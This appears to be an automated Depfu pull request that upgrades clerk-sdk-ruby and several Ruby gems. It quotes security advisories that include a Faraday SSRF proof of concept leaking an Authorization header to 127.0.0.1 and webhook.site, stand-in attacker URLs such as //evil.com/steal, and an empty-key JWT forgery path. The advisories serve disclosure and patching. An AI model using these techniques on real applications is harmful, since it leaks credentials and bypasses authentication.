🚨 [security] Update clerk-sdk-ruby 3.3.0 → 7.0.0 (major)

[depfu]

---

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

---

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ clerk-sdk-ruby (3.3.0 → 7.0.0) · Repo · Changelog

Release Notes

7.0.0

More info than we can show here.

6.0.0

More info than we can show here.

5.1.3

More info than we can show here.

5.1.2

More info than we can show here.

5.1.1

More info than we can show here.

5.1.0

More info than we can show here.

5.0.2

More info than we can show here.

5.0.1

More info than we can show here.

5.0.0

More info than we can show here.

4.2.1 (from changelog)

More info than we can show here.

4.2.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

✳️ bundler-audit (0.9.2 → 0.9.3) · Repo · Changelog

Release Notes

0.9.3

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

✳️ faraday (2.12.2 → 2.14.2) · Repo · Changelog

Security Advisories 🚨

🚨 Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"
conn = Faraday.new(url: "http://trusted.example/base", headers: {

"Authorization" => "Bearer secret-token"

}) { |f| f.adapter :net_http }
target = ["//127.0.0.1:4567", "/pwn"].join

resp = conn.get(URI(target))
puts resp.status

puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"
conn = Faraday.new(

url: "http://trusted.example/base",

headers: { "Authorization" => "Bearer secret-token" }

) { |f| f.adapter :net_http }
target = ["//webhook.site", "/<collector-id>"].join

resp = conn.get(URI(target))

resp.status

# => 200

resp.url.host

# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the
connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

🚨 Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Release Notes

2.14.2

More info than we can show here.

2.14.1

More info than we can show here.

2.14.0

More info than we can show here.

2.13.4

More info than we can show here.

2.13.3

More info than we can show here.

2.13.2

More info than we can show here.

2.13.1

More info than we can show here.

2.13.0

More info than we can show here.

2.12.3

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ concurrent-ruby (indirect, 1.3.5 → 1.3.6) · Repo · Changelog

Release Notes

1.3.6

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ faraday-net_http (indirect, 3.4.0 → 3.4.4) · Repo · Changelog

Release Notes

3.4.4

More info than we can show here.

3.4.3

More info than we can show here.

3.4.2

More info than we can show here.

3.4.1

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ json (indirect, 2.10.2 → 2.19.9) · Repo · Changelog

Security Advisories 🚨

🚨 Ruby JSON has a format string injection vulnerability

Impact

A format string injection vulnerability than that lead to denial of service attacks or information disclosure, when the allow_duplicate_key: false parsing option is used to parse user supplied documents.

This option isn't the default, if you didn't opt-in to use it, you are not impacted.

Patches

Patched in 2.19.2.

Workarounds

The issue can be avoided by not using the allow_duplicate_key: false parsing option.

🚨 Ruby JSON has a format string injection vulnerability

Impact

A format string injection vulnerability than that lead to denial of service attacks or information disclosure, when the allow_duplicate_key: false parsing option is used to parse user supplied documents.

This option isn't the default, if you didn't opt-in to use it, you are not impacted.

Patches

Patched in 2.19.2.

Workarounds

The issue can be avoided by not using the allow_duplicate_key: false parsing option.

🚨 Ruby JSON has a format string injection vulnerability

Impact

A format string injection vulnerability than that lead to denial of service attacks or information disclosure, when the allow_duplicate_key: false parsing option is used to parse user supplied documents.

This option isn't the default, if you didn't opt-in to use it, you are not impacted.

Patches

Patched in 2.19.2.

Workarounds

The issue can be avoided by not using the allow_duplicate_key: false parsing option.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ jwt (indirect, 2.10.1 → 3.2.0) · Repo · Changelog

Security Advisories 🚨

🚨 ruby-jwt: Empty-key HMAC bypass; cross-language sibling of CVE-2026-44351

JWT.decode(token, '', true, algorithm: 'HS256') accepts an attacker-forged token.
OpenSSL::HMAC.digest('SHA256', '', payload) returns a valid digest under an empty key, and no raise InvalidKeyError if key.empty? precondition exists in the HMAC algorithm.

JWT.decode(token, "", true, algorithm: 'HS256')
  -> JWA::Hmac.verify(verification_key: "", ...)
  -> OpenSSL::HMAC.digest('SHA256', "", signing_input) == signature

The same path is reached when a keyfinder block or key_finder: argument returns "", nil, or an
array containing nil for an unknown key. JWT::Decode#find_key only rejects literal nil and empty
arrays, and JWT::JWA::Hmac silently coerces nil to "" (signing_key ||= '') before signing.

JWT.decode(token, nil, true, algorithms: ['HS256']) { |_h| "" }
  -> find_key returns ""               # "" && !Array("").empty? == true
  -> JWA::Hmac.verify(verification_key: "", ...)
  -> verifies

Common application patterns that produce the unsafe value: redis.get("kid:#{kid}").to_s, ORM string columns with default: '', ENV['SECRET'] || '', Hash.new('') lookups, [primary, fallback] where fallback may be nil. Applications passing a non-empty static key:, or whose keyfinder returns nil / raises on miss, are not affected.

The existing enforce_hmac_key_length option would block this but defaults to false. On OpenSSL ≥ 3.5 the empty-key HMAC.digest call no longer raises, so the OpenSSL-3.0 rescue in JWA::Hmac#sign does not fire.

Affects HS256/HS384/HS512 via both JWT.decode (positional key and block keyfinder) and
JWT::EncodedToken#verify_signature!(key_finder:)

🚨 ruby-jwt: Empty-key HMAC bypass; cross-language sibling of CVE-2026-44351

JWT.decode(token, '', true, algorithm: 'HS256') accepts an attacker-forged token.
OpenSSL::HMAC.digest('SHA256', '', payload) returns a valid digest under an empty key, and no raise InvalidKeyError if key.empty? precondition exists in the HMAC algorithm.

JWT.decode(token, "", true, algorithm: 'HS256')
  -> JWA::Hmac.verify(verification_key: "", ...)
  -> OpenSSL::HMAC.digest('SHA256', "", signing_input) == signature

The same path is reached when a keyfinder block or key_finder: argument returns "", nil, or an
array containing nil for an unknown key. JWT::Decode#find_key only rejects literal nil and empty
arrays, and JWT::JWA::Hmac silently coerces nil to "" (signing_key ||= '') before signing.

JWT.decode(token, nil, true, algorithms: ['HS256']) { |_h| "" }
  -> find_key returns ""               # "" && !Array("").empty? == true
  -> JWA::Hmac.verify(verification_key: "", ...)
  -> verifies

Common application patterns that produce the unsafe value: redis.get("kid:#{kid}").to_s, ORM string columns with default: '', ENV['SECRET'] || '', Hash.new('') lookups, [primary, fallback] where fallback may be nil. Applications passing a non-empty static key:, or whose keyfinder returns nil / raises on miss, are not affected.

The existing enforce_hmac_key_length option would block this but defaults to false. On OpenSSL ≥ 3.5 the empty-key HMAC.digest call no longer raises, so the OpenSSL-3.0 rescue in JWA::Hmac#sign does not fire.

Affects HS256/HS384/HS512 via both JWT.decode (positional key and block keyfinder) and
JWT::EncodedToken#verify_signature!(key_finder:)

Release Notes

3.2.0

More info than we can show here.

3.1.2

More info than we can show here.

3.1.1

More info than we can show here.

3.1.0

More info than we can show here.

3.0.0

More info than we can show here.

2.10.3

More info than we can show here.

2.10.2

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ net-http (indirect, 0.6.0 → 0.9.1) · Repo · Changelog

Release Notes

0.9.1

More info than we can show here.

0.9.0

More info than we can show here.

0.8.0

More info than we can show here.

0.7.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ uri (indirect, 1.0.3 → 1.1.1) · Repo · Changelog

Security Advisories 🚨

🚨 URI Credential Leakage Bypass over CVE-2025-27221

Impact

In affected URI version, a bypass exists for the fix to CVE-2025-27221 that can expose user credentials.

When using the + operator to combine URIs, sensitive information like passwords from the original URI can be leaked, violating RFC3986 and making applications vulnerable to credential exposure.

The vulnerability affects the uri gem bundled with the following Ruby series:

• 0.12.4 and earlier (bundled in Ruby 3.2 series)
• 0.13.2 and earlier (bundled in Ruby 3.3 series)
• 1.0.3 and earlier (bundled in Ruby 3.4 series)

Patches

Upgrade to 0.12.5, 0.13.3 or 1.0.4

References

• https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/
• https://hackerone.com/reports/2957667

Release Notes

1.1.1

More info than we can show here.

1.1.0

More info than we can show here.

1.0.4

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 faraday-multipart (added, 1.2.0)

🆕 faraday-retry (added, 2.4.0)

🆕 multipart-post (added, 2.4.1)

---

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)

Go to the Depfu Dashboard to see the state of your dependencies and to customize how Depfu works.